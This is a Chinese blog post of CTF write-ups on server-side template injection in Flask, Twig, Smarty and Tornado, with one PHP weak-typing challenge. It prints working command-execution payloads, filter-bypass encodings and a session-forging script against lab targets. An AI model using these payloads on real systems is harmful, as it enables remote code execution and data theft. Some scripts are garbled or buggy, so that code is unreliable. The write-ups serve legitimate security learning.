SSTI小练

SSTI

作者前言:

关于SSTI:一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog

关于绕过方式:https://wiki.wgpsec.org/knowledge/ctf/SSTI.html

基本pyload模板

1、Twig

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("执行的命令")}}

2、Flask

获取某个类

"".__class__

获取object基类(bases或者mro)

"".__class__.__bases__  或者  "".__class__.__mro__[1]

接下来获取其所有子类

"".__class__.__mro__[1].__subclasses__()

获取到subclasses后,使用init.globals来看看有没有os module或者其他的可以读写文件的。

"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__

最终payload

"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("想执行的命令").read()

参考ssti-flak框架 | sakura (sakurahack-y.github.io)

[护网杯 2018]easy_tornado

考点:

1、模板注入的查找能力

2、编程基础理解

flag/fllllllllllllag

在这里插入图片描述

结合题目提示,搜索发现这个rendertornado模板中的一个部分

在这里插入图片描述

一个提示

http://611a20a8-eab5-43af-8cf7-e0e3c15e4af4.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=804f51619bd27f01e4aeb2f17bfabf7a

在这里插入图片描述

结合请求信息,很显然filehash=md5(cookie_secret+md5(filename))

推测出只要使

/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

即可获得flag,思路有了,那么这个cookie_secret是个啥呢?,这就需要去翻官方文档查询了

最终找到cookie_secret在这里

在这里插入图片描述

再往上翻,发现cookie_secretsetting这个大标题下

在这里插入图片描述

看来应该是与设置相关的一些东西

暂时没什么思路了,试试普通的模板注入,无论怎么尝试都会出现Error

在这里插入图片描述

最后发现居然在Error界面能够注入。。。

在这里插入图片描述

既然cookie_secretsetting有关,不妨试试setting

在这里插入图片描述

虽然没什么大用,但是证明了它确实是和setting有关,回显出了不一样的内容

当时做到这里的时候我就没有思路了,后来看了wp才知道突破口竟然是

在这里插入图片描述

这一看就是某个对象(类)的属性,说明目录就只有两个类:RequestHandlerApplication

沿着这个思路,找到了这个

在这里插入图片描述

反正没思路,把他们都带进去试试,结果还是没用

在这里插入图片描述

后面找到了这篇文章,所以我们只需输入handler.settings就能指向RequestHandler.application.settings在这里插入图片描述

得到了cookie_secret,剩下的就简单了,写个脚本获得md5(cookie_secret+md5(/fllllllllllllag))的值就ok了

脚本如下,关于脚本就不解释了,就是引入了hashlib,不懂的可以百度

import hashlib

a=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()

print((hashlib.md5(("bc82df89-fe32-40f4-8c15-d930a3bef2d0"+a).encode())).hexdigest())xxxxxxxxxx import hashliba=(hashlib.md5("/fllllllllllllag".encode())).hexdigest()print((hashlib.md5(("3a15d94a-b0c9-49b7-b560-f00c4997f0a7"+a).encode())).hexdigest())

输出

在这里插入图片描述

payload:

http://c36da189-af9b-42de-93f1-5a0deaaad568.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=0e91d898653bbab52cdbdd0c9eeb522d

得到flag

在这里插入图片描述

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

启动题目

image-20220303184114964

无论输入什么都会被拒绝

image-20220303184252479

但是发现TitleAuthorContent里面输入1+1就不会,并且回显的是Author的内容。

image-20220303184340490

Author处存在ssti漏洞

image-20220303184445744

{{config}}查看配置文件

image-20220303184537441

发现一个东西

'SECRET_KEY': 'l|IIi11Ii|l|1|lllI1|IIIiiIiil|l|li|illII'

既然是存在SECRET_KEY那么就可以通过SECRET_KEY绕过flask的session认证,参考flask-unsign

image-20220303212722086

对seesion解密

脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

解出

image-20220303213016013

“admin”:false 应该是要伪造admin

from hashlib import sha512
from flask.sessions import session_json_serializer
from itsdangerous import URLSafeTimedSerializer, BadTimeSignature
import base64
import zlib

PAYLOAD = {'Admin': True}

signer = URLSafeTimedSerializer(
    'secret-key', salt='cookie-session',
    serializer=session_json_serializer,
    signer_kwargs={'key_derivation': 'hmac', 'digest_method': sha512}
)

print(signer.dumps(PAYLOAD))

也可直接使用使用flask-unsign,在kali上有

image-20220303213216204

成功访问/admin

image-20220303213420085

查看源码

Todo: add /admin/model_download button 
<a href="/admin/source_thanos">Open Source</a>
 
zip file with detection.meta detection.index detection.data-00000-of-00001 3 TensorFlow(1.12) files! 

The model need x:0 to input a number , and y:0 to output the result "Human" or "Bot" 

访问/admin/model_download可以把模型下载下来,源码则在/admin/source_thanos,最后是TensorFlow的介绍

源码是随机显示一部分,但是好在位置固定,通过脚本复原即可:

import requests
url = 'http://xxx.cn/admin/source_thanos'
r = requests.get(url)
source = r.text
for j in range(10):
    r = requests.get(url)
    for i in range(len(source)):
        if source[i].isspace():
            source = source[:i] + r.text[i] + source[i+1:]
print(source)

得到源码:

# coding=utf8
from flask import Flask, flash, send_file
import random
from datetime import datetime
import zipfile

# init app
app = Flask(__name__)
app.secret_key = ''.join(random.choice("il1I|") for i in range(40))
print(app.secret_key)

from flask import Response
from flask import request, session
from flask import redirect, url_for, safe_join, abort
from flask import render_template_string

from data import data

post_storage = data
site_title = "A Flask Message Board"
site_description = "Just leave what you want to say."

# %% tf/load.py
import tensorflow as tf
from tensorflow.python import pywrap_tensorflow


def init(model_path):
    '''
    This model is given by a famous hacker !
    '''
    new_sess = tf.Session()
    meta_file = model_path + ".meta"
    model = model_path
    saver = tf.train.import_meta_graph(meta_file)
    saver.restore(new_sess, model)
    return new_sess


def renew(sess, model_path):
    sess.close()
    return init(model_path)


def predict(sess, x):
    '''
    :param x: input number x
        sess: tensorflow session
    :return: b'You are: *'
    '''
    y = sess.graph.get_tensor_by_name("y:0")
    y_out = sess.run(y, {"x:0": x})
    return y_out


tf_path = "tf/detection_model/detection"
sess = init(tf_path)


# %% tf end

def check_bot(input_str):
    r = predict(sess, sum(map(ord, input_str)))
    return r if isinstance(r, str) else r.decode()

def render_template(filename, **args):
    with open(safe_join(app.template_folder, filename), encoding='utf8') as f:
        template = f.read()
    name = session.get('name', 'anonymous')[:10]  
    # Someone call me to add a remembered_name function
    # But I'm just familiar with PHP !!!

    # return render_template_string(
    #     template.replace('$remembered_name', name)
    #         .replace('$site_description', site_description)
    #         .replace('$site_title', site_title), **args)
    return render_template_string(
        template.replace('$remembered_name', name), site_description=site_description, site_title=site_title, **args)


@app.route('/')
def index():
    global post_storage
    session['admin'] = session.get('admin', False)
    if len(post_storage) > 20:
        post_storage = post_storage[-20:]
    return render_template('index.html', posts=post_storage)


@app.route('/post', methods=['POST'])
def add_post():
    title = request.form.get('title', '[no title]')
    content = request.form.get('content', '[no content]')
    name = request.form.get('author', 'anonymous')[:10]
    try:
        check_result = check_bot(content)
        if not check_result.endswith('Human'):
            flash("reject because %s or hacker" % (check_result))
            return redirect('/')
        post_storage.append(
            {'title': title, 'content': content, 'author': name, 'date': datetime.now().strftime("%B %d, %Y %X")})
        session['name'] = name
    except Exception as e:
        flash('Something wrong, contact admin.')  
    return redirect('/')


@app.route('/admin/model_download')
def model_download():
    '''
    Download current model.
    '''
    if session.get('admin', True):
        try:
            with zipfile.ZipFile("temp.zip", 'w') as z:
                for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
                    z.write('tf/detection_model/'+ e, arcname=e)
            return send_file("temp.zip", as_attachment=True, attachment_filename='model.zip')
        except Exception as e:
            flash(str(e))
            return redirect('/admin')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    global site_description, site_title, sess
    if session.get('admin', False):
        print('admin session.')
        if request.method == 'POST':
            if request.form.get('site_description'):
                site_description = request.form.get('site_description')
            if request.form.get('site_title'):
                site_title = request.form.get('site_title')
            if request.files.get('modelFile'):
                file = request.files.get('modelFile')
                # print(file, type(file))
                try:
                    z = zipfile.ZipFile(file=file)
                    for e in ['detection.meta', 'detection.index', 'detection.data-00000-of-00001']:
                        open('tf/detection_model/' + e, 'wb').write(z.read(e))
                    sess = renew(sess, tf_path)
                    flash("Reloaded successfully")
                except Exception as e:
                    flash(str(e))
        return render_template('admin.html')
    else:
        return "Not a admin **session**. <a href='/'>Back</a>"


@app.route('/admin/source') # <--here ♂ boy next door
def get_source():
    return open('app.py', encoding='utf8').read()


@app.route('/admin/source_thanos')
def get_source_broken():
    '''
    Thanos is eventually resurrected,[21] and collects the Infinity Gems once again.[22]
    He uses the gems to create the Infinity Gauntlet, making himself omnipotent,
    and erases half the living things in the universe to prove his love to Death.
    '''
    t = open('app.py', encoding='utf8').read()
    tt = [t[i] for i in range(len(t))]
    ll = list(range(len(t)))
    random.shuffle(ll)
    for i in ll[:len(t) // 2]:
        if tt[i] != '\n': tt[i] = ' '
    return "".join(tt)

不了解TensorFlow,看官方wp,通过tensorflow运行下面代码

import tensorflow as tf
# Tensorboard可视化
def init(model_path):
    new_sess = tf.Session()
    meta_file = model_path + ".meta"
    model = model_path
    saver = tf.train.import_meta_graph(meta_file)
    saver.restore(new_sess, model)
    return new_sess
sess = init('detection_model/detection')
writer = tf.summary.FileWriter("./log", sess.graph)
# 然后在命令行执行tensorboard --logdir ./log

在对应端口查看图结构,发现当输入的字符串字符总和为1024时会触发读取/flag的后门,此时转向处理输入的函数:

def predict(sess, x):
    '''
    :param x: input number x
        sess: tensorflow session
    :return: b'You are: *'
    '''
    y = sess.graph.get_tensor_by_name("y:0")
    y_out = sess.run(y, {"x:0": x})
    return y_out

def check_bot(input_str):
    r = predict(sess, sum(map(ord, input_str)))
    return r if isinstance(r, str) else r.decode()

# check_result = check_bot(content)
# check_bot函数只处理了输入框接收的内容,因此只有输入框可以触发读取`/flag`的后门。

这里将输入的字符串转化为ASCII码然后求和作为x的值,需要将x的值改为1024,于是构造一个ASCII码值和为1024的字符串赋值x:

aaaaaabxCZ

Content输入即可看到flag。

image-20220303213921811

[RootersCTF2019]I_❤️_Flask

flask模板注入

image-20220304153616495

查看源码,没什么提示

dirsearch扫目录,也未发现源码泄露

爆破注入参数,利用arjun爆破参数

arjun -u http://xxx -c 100 -d 5

image-20220304153949727

爆出参数:name

image-20220304154752960

方法一

Tplmap

tplmap.py -u url/?name=1

image-20220304154854269

Jinja2模板

直接–os-shell,读取flag

image-20220304154953422

方法二

通用payload

{%%20for%20c%20in%20().__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27catch_warnings%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27].eval(%22__import__(%27os%27).popen(%27whoami%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

个人所得税

启动题目

image-20220318143515754

image-20220318143541553

image-20220318143548521

尝试 {{''.__class__.__mro__[1].__subclasses__()}}

并没有返回任何东西

()被过滤了

双写绕过

{{''.__class__.__mro__[1].__subclasses__(())}}

image-20220318143801073

burp抓包试试

image-20220318143912938

直接找os._wrap_close

序列为117

发现open也被过滤了,直接双写绕过

{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('whoami').read(())}}

image-20220318144230970

读flag

{{''.__class__.__mro__[1].__subclasses__(())[117].__init__.__globals__['poopenpen']('cat /flag').read(())}}

image-20220318144512911

[BJDCTF2020]Cookie is so stable(Twig)

来到界面

在这里插入图片描述

没发现可疑的地方,抓包hint和flag看看

抓包hint的时候发现

在这里插入图片描述

提示我们注意cookies,然后再抓包登录成功时的页面(之前未登录时的包抓来一直不成功,搞了很久才发现要抓登录后的包)

在这里插入图片描述

发现cookie后多了一个user=1

结合提示,这里应该就是注入点,尝试{{3*3}}

在这里插入图片描述

发现回显的是9,所以是Twig模板注入

Twig 
{{3*3}}  #输出9
Jinja
{{3*3}}  #输出3333333

直接上Twig注入模板

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

在这里插入图片描述

[CISCN2019 华东南赛区]Web11(Smarty)

打开题目,看到XFF伪造,应该为Smarty模板注入

尝试添加XFF

在这里插入图片描述

成功,右上角Current IP回显了9,好,继续

在这里插入图片描述

flag应该再根目录,直接打开

在这里插入图片描述

最后flag在页面无法显示,要转到burp中查看

[BJDCTF2020]The mystery of ip(flask)

打开题目,首先抓包看看,抓包hint和flag看看

在这里插入图片描述

联想到XFF伪造

尝试SSTI注入

在这里插入图片描述

成功,查看当前目录下的文件

在这里插入图片描述

发现一个flag.php,打开看看

在这里插入图片描述

看来是被骗了,正确的flag一般都应该在根目录下

在这里插入图片描述

[pasecactf_2019]flask_ssti

输入什么返回什么,再试试SSTI模板注入,成功

在这里插入图片描述

几经尝试,发现.,_,',被过滤了

单引号用双引号绕过
下划线用十六进制编码\x5f绕过
点用[]绕过

构造payload,获取object类

原式:
{{"".__class__.__bases__}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"]}}

在这里插入图片描述

同时也说明成功绕过

接下来获取所有子类

原式:
{{"".__class__.__mro__[1].__subclasses__()}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()}}

在这里插入图片描述

在这里我们要找的类是能引进os.的类,因为我们要依靠它来使用系统命令,直接使用ctrl+f搜索,找到一个os._wrap_close类,就是他了!

在这里插入图片描述

我们要知道它的索引是多少,靠数显然不可能,这里贴个大佬的脚本,可以回显索引

import json

a = """ #这中间贴你的类列表
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "os._wrap_close" in v:
        print(str(k) + "--->" + v)

在这里插入图片描述

接着我们查看一下目录下有没有flag文件

原式:
{{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["os"]["popen"]("ls").read()}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}

在这里插入图片描述

根本没有,淦,只能查看源码了

原式:
{{"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["os"]["popen"]("cat app.py").read()}}
编码后:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[127]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("cat ap*")["read"]()}}
import random
from flask import Flask, render_template_string, render_template, request
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'

#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

发现加密后的flag在最后被删除了,不过好在加密完成后的flag保存在了config['flag']里了,所以我们找找加密后的flag

{{config}}

最后根据它的算法解密flag即可

在这里插入图片描述

解密

在这里插入图片描述

[CSCCTF 2019 Qual]FlaskLight

话不多说,查看源码,get传参,search参数,ok

在这里插入图片描述

测试发现为SSTI中的Flask模板注入

在这里插入图片描述

接着查找所有子类

{{"".__class__.__mro__[1].__subclasses__()}}

在这里插入图片描述

我们需要的是能利用它从而执行系统命令的类,先看看有没有os.类

在这里插入图片描述

很好,没有。再找找Popen类

在这里插入图片描述

然后我们需要知道它的索引

import json

a = """ #这中间贴你的类列表
"""

num = 0
allList = []

result = ""
for i in a:
    if i == ">":
        result += i
        allList.append(result)
        result = ""
    elif i == "\n" or i == ",":
        continue
    else:
        result += i

for k, v in enumerate(allList):
    if "subprocess.Popen" in v:   #这里写需要返回索引的类名
        print(str(k) + "--->" + v)

附上一个脚本,可以回显需要的索引

在这里插入图片描述

这里涉及到一个subprocess.Popen()函数的用法,可参考python中的subprocess.Popen()使用详解 - html中文网,还有stip()函数,用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列。
但只能删除开头或是结尾的字符,不能删除中间部分的字符。

最终payload(stip函数是可以不要的)

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

在这里插入图片描述

Web2

flask模板注入

基本思路

先寻找可用类

__class__ 返回调用的参数类型
__mro__ 在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类

获取某个类

"".__class__

获取object基类(bases或者mro)

"".__class__.__bases__  或者  "".__class__.__mro__[1]

接下来获取其所有子类

"".__class__.__mro__[1].__subclasses__()

获取到subclasses后,使用init.globals来看看有没有osexec或者其他的可以读写文件的。

"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__

最终payload

命令执行:

"".__class__.__mro__[1].__subclasses__()[127].__init__.__globals__["os"]["popen"]("想执行的命令").read()

文件读取:

{{().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__['open']('/this_is_the_flag.txt').read()}}

题目复现

源码:

import re
from flask import Flask, render_template, render_template_string, request

app = Flask(__name__)

def isLegalParam(param):
    return (re.search(r'\'|\"|_|{{.*}}|{%.*%}|\[|\]', param, re.M|re.S) is None)

@app.route('/') 
def main():
    return render_template("index.html")

@app.route('/calc')
def calc():
    formula = request.args.get("calc")
    answer = request.args.get("answer")
    if isLegalParam(formula) and isLegalParam(answer):
        answerHtml = formula + "=" + answer
        print(answerHtml)
    else:
        answerHtml = formula + "=" + answer
        print(answerHtml)
        answerHtml = "Data illegality."

    return render_template_string(answerHtml)

@app.route("/hint")
def hint():
    with open(__file__, "rb") as f:
        file = f.read()
    return file

if __name__ == '__main__':
    app.run(host="0.0.0.0")

在这里我们首先发现通过两个参数用get方式传参,最后输出clac = answer所以payload的形式为

?calc={{[表达式1]&answer==[表达式2]}}

并且我们发现,当我们构造以下表达式时回显正确

?calc={{2*2&answer==4}}

在这里插入图片描述

而当构造以下表达式时回显错误

?calc={{2*2&answer==3}}

在这里插入图片描述

这就和sql注入中的盲注很像!!!

由于源码中过滤了单引号双引号,甚至还有_,所以这里我们需要利用 attr request 绕过

{{|attr(request.values.x1)|attr(request.values.x2)|}}&x1=...&x2=...
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多
个过滤器。一个过滤器的输出应用于下一个过滤器。
attr用于获取变量
eg.
""|attr("__class__")
相当于
"".__class__

所以构造出的payload:

{{"".__class__.__mro__[1].__subclasses__()}}
相当于
{{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()&answer==(request.values.x4)}}&x1=__class__&x2=__base__&x3=__subclasses__&x10=...

构造“盲注”脚本

import requests

url="http://172.17.135.39:5050/calc"
can="?calc="
flag=""
for i in(39,126):
    payload="{{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()|attr(request.values.x4)(100)|attr(request.values.x5)|attr(request.values.x6)|attr(request.values.x4)(request.values.x7)|attr(request.values.x4)(request.values.x8)(request.values.x9)&answer==(request.values.x10)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('os').popen('cat flag.txt').read()[0:1]&x10={}".format(i)
    url_get = url+can+payload
    re = requests.get(url_get)
if "Ture" in re.text:
    flag += chr(i)
    print(flag)

即可获得flag

odd_upload

考点:

1、Smarty框架的目录结构
2、Smarty模板注入

启动题目,映入眼帘的就是Smarty框架

在这里插入图片描述

下面是接着一个文件上传

在这里插入图片描述

遇到框架题,首先查官方手册,弄清楚目录结构,再继续做题

在这里插入图片描述

可以看到在templates下有一个index.tpl文件,我们可以产生过hi访问一下它,看会不会有结果

在这里插入图片描述

成功访问,经过简单的了解,我们得知在index.tpl会渲染主页面然后再返回,那么我们是不是可以上传一个index.tpl把原来的给覆盖掉呢?这样我们就可以在我们上传的index.tpl中写入恶意代码并执行了

同时通过查询smarty模板注入漏洞,我们得知:注入模板为:{3*3}

成功上传后访问index.tpl

在这里插入图片描述

在这里插入图片描述

成功回显

构造payload

{system('cat /flag')}

得到flag

在这里插入图片描述

[GWCTF 2019]你的名字

{{}}和关键字过滤的绕过)

试试{{3*3}}

在这里插入图片描述

提示语法错误,再试试{3}

在这里插入图片描述

回显正常,最后发现是{{}}被过滤了,关于绕过方法,可以参考[GWCTF 2019]你的名字 – JohnFrod's Blog

讲的很好,我就不过多赘述了,直接给

payload

查看根目录下是否有flag文件

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('ls /').read()%}

在这里插入图片描述

还真有,直接打开就行了

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /flag_1s_Hera').read()%}

在这里插入图片描述

[WesternCTF2018]shrine

源码看着太乱,整理一下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG') #注册了一个名为FLAG的config,flag应该就在这儿

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>') 
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) 
        + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

可以看到有两个路由,第一个路由给出了显示出源代码,第二个路由在/shrine/路径下提交参数

我们简单测试一下

/shrine/{{2*2}}

在这里插入图片描述

回显成功

查看源码,发现我们提交的参数之中的()会被设为空,同时会将黑名单里的内容遍历一遍,把与黑名单相同的参数设为None

 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

所以这里我们要用到python中的一些内置函数,url_forget_flashed_messages,这两个函数包含了current_app全局变量

可以看到我们注入

/shrine/{{url_for.__globals__}}

在这里插入图片描述

current_app意思是当前app,所以继续进入当前app的config

/shrine/{{url_for.__globals__['current_app'].config}}

得到flag

在这里插入图片描述

同理,用get_flashed_messages也是一样的

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

Confusion1

启动题目,一个被蛇缠住的大象

image-20220225174648982

点击login,发现无法访问,查看一下源码,发现有flag的信息

image-20220225174901356

几番尝试后发现是SSTI

使用,{{7*7}},发现回显49

image-20220225174948411

最常用的

{{''.__class__.__mro__[2].__subclasses__()}}

image-20220225175019435

被禁了,测试后发现好多都被禁了

使用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__

{{''.__class__}}
=
{{''[request.args.t1]}}&t1=__class__

所以payload

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

image-20220225175149995

构造

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
=
{{''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}

即可获得flag

image-20220225175228716

Basic

[极客大挑战 2019]BuyFlag

考点:

1、弱类型比较

2、数组传参绕过长度限制

启动题目,进入到payflag界面后,。获取到的到flag的条件

在这里插入图片描述

1、需要100000000元
2、密码必须正确
3、必须是CUIT的学生

继续查看网页源码,获得提示

~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

发现是很简单的一个弱类型比较绕过 ,构造passsword=404a,即可绕过,得到正确的密码

但是我们在界面上怎么尝试都没有得到回显

在这里插入图片描述

利用bp抓包,在我们修改user=1时,获得回显you are Cuiter

在这里插入图片描述

说明当user=1时,我们就满足了第三个条件,变成了CUIT的学生,接下来就只剩下money这一个条件了

在这里插入图片描述

长度太长,我们可以采用数组传参绕过

在这里插入图片描述

获得flag,还有一种方式,就是采用科学计数法,但是这里需要注意

在这里插入图片描述

所以应该写成

在这里插入图片描述

posted @ 2022-07-06 14:05  phant0m1  阅读(215)  评论(0编辑  收藏  举报